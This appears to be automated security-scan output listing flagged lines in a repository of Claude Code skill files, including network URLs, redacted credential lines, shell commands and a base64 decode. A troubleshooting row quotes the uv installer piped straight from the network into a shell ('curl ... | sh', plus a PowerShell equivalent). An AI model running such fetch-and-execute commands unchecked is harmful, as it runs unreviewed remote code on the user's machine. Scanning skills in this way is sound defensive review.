- [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/) - Network accessline 111
- [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)
harness/claude-code/skills/microsoft-agent-framework/references/dotnet.md
harness/claude-code/skills/microsoft-agent-framework/references/python.md
harness/claude-code/skills/microsoft-code-reference/SKILL.md
- Network accessline 8
metadata: compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 9
compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback. - Network accessline 10
Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 133
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
harness/claude-code/skills/microsoft-docs/SKILL.md
harness/claude-code/skills/microsoft-skill-creator/SKILL.md
- Network accessline 8
metadata: compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 9
compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback. - Network accessline 10
Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 31
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 106
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 158
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 159
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 160
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/claude-code/skills/mini-context-graph/references/lint.md
- Dangerous shell operationline 48
# rm wiki/{category}/{slug}.md
harness/claude-code/skills/mini-context-graph/scripts/config.py
harness/claude-code/skills/mini-context-graph/scripts/contextgraph.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/mini-context-graph/scripts/template_agent_workflow.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/mini-context-graph/scripts/tools/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/mini-context-graph/scripts/tools/documents_store.py
harness/claude-code/skills/mini-context-graph/scripts/tools/graph_store.py
harness/claude-code/skills/mini-context-graph/scripts/tools/index_store.py
harness/claude-code/skills/mini-context-graph/scripts/tools/ontology_store.py
harness/claude-code/skills/mini-context-graph/scripts/tools/retrieval_engine.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/mini-context-graph/scripts/tools/wiki_store.py
harness/claude-code/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/claude-code/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/claude-code/skills/msgraph-sdk/SKILL.md
- Network accessline 76
| Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A - Network accessline 78
| Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. | - Network accessline 153
- [Microsoft Graph overview](https://learn.microsoft.com/graph/overview) - Network accessline 154
- [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer) - Network accessline 155
- [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)
harness/claude-code/skills/msgraph-sdk/references/dotnet.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md> - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 59
[Credential-related source omitted]
harness/claude-code/skills/msgraph-sdk/references/python.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-python> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md> - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Network accessline 210
[Credential-related source omitted] - Network accessline 211
[Credential-related source omitted] - Network accessline 212
async with httpx.AsyncClient() as client: - Network accessline 213
[Credential-related source omitted] - Network accessline 214
"https://graph.microsoft.com/v1.0/$batch",
harness/claude-code/skills/msgraph-sdk/references/typescript.md
- Network accessline 7
- SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript> - Network accessline 8
- Samples: <https://github.com/microsoftgraph/msgraph-training-typescript> - Network accessline 9
- SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md> - Network accessline 33
const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 34
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], }); - Network accessline 35
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 49
[Credential-related source omitted] - Network accessline 52
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 53
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Access to secretsline 68
[Credential-related source omitted] - Network accessline 72
const authProvider = new TokenCredentialAuthenticationProvider(credential, { scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 73
scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], - Network accessline 88
// Opens a browser tab — requires redirect URI http://localhost in app registration
harness/claude-code/skills/msstore-cli/SKILL.md
- Network accessline 43
Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate. - Network accessline 47
1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center. - Access to secretsline 60
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 145
- [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview) - Network accessline 146
- [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands) - Network accessline 147
- [GitHub Repository](https://github.com/microsoft/msstore-cli) - Network accessline 148
- [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services) - Network accessline 149
- [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services) - Network accessline 150
- [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights) - Network accessline 151
- [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout) - Network accessline 152
- [Partner Center](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 153
- [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ) - Network accessline 154
- [Manual releases](https://aka.ms/msstoredevcli/releases)
harness/claude-code/skills/msstore-cli/references/commands-and-workflows.md
- Access to secretsline 46
[Credential-related source omitted] - Network accessline 232
# Initialize PWA msstore init https://contoso.com --output ./pwa-package - Network accessline 233
msstore init https://contoso.com --output ./pwa-package - Access to secretsline 401
[Credential-related source omitted] - Access to secretsline 498
[Credential-related source omitted]
harness/claude-code/skills/mutation-testing/SKILL.md
harness/claude-code/skills/mvvm-toolkit-di/SKILL.md
- Network accessline 246
- [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection) - Network accessline 247
- [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage) - Network accessline 248
- [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc) - Network accessline 249
- [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host) - Network accessline 250
- [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)
harness/claude-code/skills/mvvm-toolkit-di/references/dependency-injection.md
- Network accessline 52
> On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder). - Network accessline 54
> [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
harness/claude-code/skills/mvvm-toolkit-messenger/SKILL.md
- Network accessline 308
- Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger> - Network accessline 309
- `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger> - Network accessline 310
- Source: <https://github.com/CommunityToolkit/dotnet>
harness/claude-code/skills/mvvm-toolkit/SKILL.md
- Network accessline 283
- Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ - Network accessline 284
- WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro - Network accessline 285
- Source: https://github.com/CommunityToolkit/dotnet - Network accessline 286
- Samples: https://github.com/CommunityToolkit/MVVM-Samples
harness/claude-code/skills/mvvm-toolkit/references/end-to-end-walkthrough.md
harness/claude-code/skills/mvvm-toolkit/references/troubleshooting.md
- Network accessline 20
Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 21
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 208
- All `MVVMTK0xxx` errors: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 209
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 210
- Source: <https://github.com/CommunityToolkit/dotnet> - Network accessline 211
- Sample app: <https://aka.ms/mvvmtoolkit/samples>
harness/claude-code/skills/namecheap/SKILL.md
- Network accessline 28
- The script requires Python 3 standard library only; no `pip install` is needed. - Credentials come from `~/.namecheap-api` or environment variables. - Namecheap API access must be enabled and the caller's public IP must be whitelisted at - Network accessline 30
- Namecheap API access must be enabled and the caller's public IP must be whitelisted at https://ap.www.namecheap.com/settings/tools/apiaccess/. - Access to secretsline 34
[Credential-related source omitted] - Network accessline 36
1. Run `python3 namecheap.py public-ip` to display the public IP. 2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP. - Network accessline 37
2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP. - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Network accessline 172
- [Namecheap API access settings](https://ap.www.namecheap.com/settings/tools/apiaccess/)
harness/claude-code/skills/namecheap/namecheap.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 21
API_URL = "https://api.namecheap.com/xml.response" - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 98
[Credential-related source omitted] - Access to secretsline 99
[Credential-related source omitted] - Network accessline 104
print("You need:") print(" 1. Your Namecheap username") print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") - Network accessline 105
print(" 1. Your Namecheap username") print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") print(" 3. Your public IP whitelisted in the API settings") - Network accessline 106
print(" 2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/") - Access to secretsline 109
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 115
[Credential-related source omitted] - Network accessline 121
def _http_get(url, timeout=15): req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"}) - Network accessline 122
req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"}) - Network accessline 123
with urllib.request.urlopen(req, timeout=timeout) as resp: # noqa: S310 (https only) - Network accessline 130
if _public_ip: return _public_ip for url in ("https://api.ipify.org", "https://ifconfig.me"): - Network accessline 131
return _public_ip for url in ("https://api.ipify.org", "https://ifconfig.me"): try: - Network accessline 132
for url in ("https://api.ipify.org", "https://ifconfig.me"): - Access to secretsline 168
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Network accessline 221
print() print("Make sure this IP is whitelisted at:") print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") - Network accessline 222
print("Make sure this IP is whitelisted at:") print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") print() - Network accessline 223
print(" https://ap.www.namecheap.com/settings/tools/apiaccess/") - Access to secretsline 244
[Credential-related source omitted] - Access to secretsline 247
[Credential-related source omitted] - Access to secretsline 251
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted]
harness/claude-code/skills/namecheap/references/namecheap-api.md
- Network accessline 6
https://api.namecheap.com/xml.response - Network accessline 14
|-----------|-------------| | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | - Network accessline 15
| `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | | `UserName` | Same as ApiUser | - Network accessline 16
| `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | - Network accessline 23
1. Log in to Namecheap 2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/ - Network accessline 24
2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/ - Network accessline 376
| `MXE` | MX equivalent (IP) | `1.2.3.4` | | `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | - Network accessline 377
| `TXT` | Text record | Any text value | | `URL` | URL redirect (unmasked) | `http://example.com` | | `URL301` | Permanent redirect | `http://example.com` | - Network accessline 378
| `URL` | URL redirect (unmasked) | `http://example.com` | - Network accessline 379
| `URL301` | Permanent redirect | `http://example.com` | - Network accessline 380
| `FRAME` | URL redirect (masked) | `http://example.com` |
harness/claude-code/skills/nano-banana-pro-openrouter/SKILL.md
- Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 67
[Credential-related source omitted] - Network accessline 68
[Credential-related source omitted] - Access to secretsline 68
[Credential-related source omitted] - Dangerous shell operationline 69
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 69
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 70
| `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. | - Access to secretsline 92
[Credential-related source omitted] - Network accessline 101
- [uv installer for macOS/Linux](https://astral.sh/uv/install.sh) - Network accessline 102
- [uv installer for Windows](https://astral.sh/uv/install.ps1) - Network accessline 103
- [OpenRouter keys](https://openrouter.ai/settings/keys)
harness/claude-code/skills/nano-banana-pro-openrouter/scripts/generate_image.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Possible obfuscationline 83
raw = base64.b64decode(encoded) - Network accessline 135
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Network accessline 157
# https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options
harness/claude-code/skills/napkin/assets/step1-activate.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="460" viewBox="0 0 800 460">
harness/claude-code/skills/napkin/assets/step2-whiteboard.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/skills/napkin/assets/step3-draw.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/skills/napkin/assets/step4-share.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/skills/napkin/assets/step5-response.svg
- Network accessline 1
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="480" viewBox="0 0 800 480">
harness/claude-code/skills/noob-mode/references/examples.md
harness/claude-code/skills/noob-mode/references/glossary.md
- Network accessline 252
**Plain English:** A web address. The text you type in a browser's address bar. **Analogy:** A street address, but for websites. **Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 254
**Example in context:** "`https://github.com/settings`" = "The settings page on GitHub's website." - Network accessline 280
**Plain English:** A way of referring to your own computer as if it were a web server. Used for testing. **Analogy:** Rehearsing a presentation in your own office before giving it in the conference room. **Example in context:** "`http://loc - Network accessline 282
**Example in context:** "`http://localhost:3000`" = "A website running on your own computer, on channel 3000."
harness/claude-code/skills/openapi-to-application-code/SKILL.md
- Network accessline 19
- "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 20
- "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition." - Network accessline 21
- "Turn https://api.example.com/openapi.json into runnable code." - Network accessline 29
| Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, - Network accessline 30
| --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro - Network accessline 31
| OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | - Network accessline 149
- [Example OpenAPI URL](https://api.example.com/openapi.json)
harness/claude-code/skills/optimize-simplicite-logs/scripts/SimpliciteLog2Json.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/optimize-simplicite-logs/scripts/simplicite-log2json.py
- Executable scriptline 1
Executable file
harness/claude-code/skills/pcf-development/SKILL.md
- Network accessline 168
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview - Network accessline 169
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations - Network accessline 170
- https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/
harness/claude-code/skills/pdftk-server/SKILL.md
harness/claude-code/skills/pdftk-server/references/download.md
- Dangerous shell operationline 26
sudo apt-get install pdftk - Dangerous shell operationline 32
sudo dnf install pdftk - Network accessline 37
PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th - Network accessline 45
[PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 49
[PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/) - Network accessline 53
PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/ - Network accessline 58
curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip - Network accessline 62
Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`. - Network accessline 75
PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t
harness/claude-code/skills/pdftk-server/references/pdftk-man-page.md
- Network accessline 3
- **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 4
- Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 5
- See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation
harness/claude-code/skills/pdftk-server/references/pdftk-server-license.md
- Network accessline 15
[PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf) - Network accessline 19
[Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 23
PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen
harness/claude-code/skills/pdftk-server/references/third-party-materials.md
- Network accessline 13
[Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt) - Network accessline 15
Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 25
[Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt). - Network accessline 27
[Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt). - Network accessline 29
Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 43
[Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). - Network accessline 45
Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 51
Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org) - Network accessline 59
Download the Bouncy Castle source code from: http://www.bouncycastle.org/. - Network accessline 67
[Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 69
The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/). - Network accessline 79
Download the MinGW runtime source code from: http://mingw.org/. - Network accessline 87
[Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 89
Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/ - Network accessline 95
http://www.apache.org/licenses/LICENSE-2.0 - Network accessline 99
[Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt). - Network accessline 101
[Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt). - Network accessline 103
Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.
harness/claude-code/skills/penpot-uiux-design/SKILL.md
- Network accessline 28
- Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui - Network accessline 29
- If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in - Network accessline 30
- Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`. - Network accessline 31
- In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI. - Network accessline 32
- VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.
harness/claude-code/skills/penpot-uiux-design/references/setup-troubleshooting.md
- Network accessline 26
- **Node.js v22+** - [Download](https://nodejs.org/) - Network accessline 42
# Clone the repository git clone https://github.com/penpot/penpot-mcp.git - Network accessline 43
git clone https://github.com/penpot/penpot-mcp.git - Network accessline 66
MCP Server listening on http://localhost:4401 - Network accessline 67
Plugin server listening on http://localhost:4400 - Network accessline 73
1. Open [Penpot](https://design.penpot.app/) in your browser - Network accessline 75
3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` - Network accessline 76
4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"** - Network accessline 77
5. Enter: `http://localhost:4400/manifest.json` - Network accessline 92
"servers": { "penpot": { "url": "http://localhost:4401/sse" - Network accessline 93
"penpot": { "url": "http://localhost:4401/sse" } - Network accessline 94
"url": "http://localhost:4401/sse" - Network accessline 106
"servers": { "penpot": { "url": "http://localhost:4401/mcp" - Network accessline 107
"penpot": { "url": "http://localhost:4401/mcp" } - Network accessline 108
"url": "http://localhost:4401/mcp" - Network accessline 135
"penpot": { "command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 136
"command": "npx", "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] } - Network accessline 137
"args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"] - Network accessline 148
claude mcp add penpot -t http http://localhost:4401/mcp - Network accessline 207
# Test the SSE endpoint curl http://localhost:4401/sse - Network accessline 208
curl http://localhost:4401/sse - Network accessline 210
# Test the MCP endpoint curl http://localhost:4401/mcp - Network accessline 211
curl http://localhost:4401/mcp - Network accessline 237
1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Network accessline 238
2. Try accessing `http://localhost:4400/manifest.json` directly in browser - Dangerous shell operationline 275
rm -rf node_modules - Network accessline 309
curl -s http://localhost:4401/sse | head -1 - Network accessline 326
- **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues) - Network accessline 327
- **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions) - Network accessline 328
- **Penpot Community**: [community.penpot.app](https://community.penpot.app/)
harness/claude-code/skills/pester-migration/SKILL.md
- Network accessline 27
- Migrate one major jump at a time: v3→v4, then v4→v5, then v5→v6. Never skip a major version. - Windows PowerShell 5.1 ships a Microsoft-signed built-in Pester 3; installing a newer module side-by-side may require `-SkipPublisherCheck`. - - Network accessline 29
- Installation reference: https://pester.dev/docs/introduction/installation. - Network accessline 41
Canonical migration source: https://pester.dev/docs/migrations/v4-to-v5. - Network accessline 189
- [Pester v4 to v5 migration](https://pester.dev/docs/migrations/v4-to-v5) - Network accessline 190
- Installation: https://pester.dev/docs/introduction/installation.
harness/claude-code/skills/pester-migration/references/v3-to-v4.md
- Network accessline 6
Official guide: https://pester.dev/docs/migrations/v3-to-v4 - Network accessline 29
There is a well-known AST-based converter, `Update-PesterTest` (Chris Dent / Wojciech Sciesinski), that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee - Network accessline 30
that inserts the dashes safely by parsing the file rather than regexing it: https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced in the official v3→v4 guide. Review its output, especially for n - Network accessline 31
https://gist.github.com/indented-automation/aeb14825e39dd8849beee44f681fbab3 — it's also reproduced - Network accessline 74
cases where an array test that passed under v3 fails under v4. If an array-related test changes result after the rename, inspect it manually rather than forcing it to pass. Background: https://github.com/pester/Pester/issues/873. - Network accessline 76
https://github.com/pester/Pester/issues/873. - Network accessline 78
Mocking also shifted subtly when Pester moved from functions to aliases; there are no required changes, but if mocked-command behavior looks off, see https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/81 - Network accessline 80
https://github.com/pester/Pester/issues/810 and https://github.com/pester/Pester/issues/812.
harness/claude-code/skills/pester-migration/references/v4-to-v5.md
- Network accessline 7
Official guide: https://pester.dev/docs/migrations/v4-to-v5 · - Network accessline 8
Breaking changes: https://pester.dev/docs/migrations/breaking-changes-in-v5 - Network accessline 70
> `$MyInvocation.MyCommand.Path` is fine *inside your module/product code* — the change only > affects the test-file header pattern. See > https://pester.dev/docs/usage/importing-tested-functions#migrating-from-pester-v4. - Network accessline 72
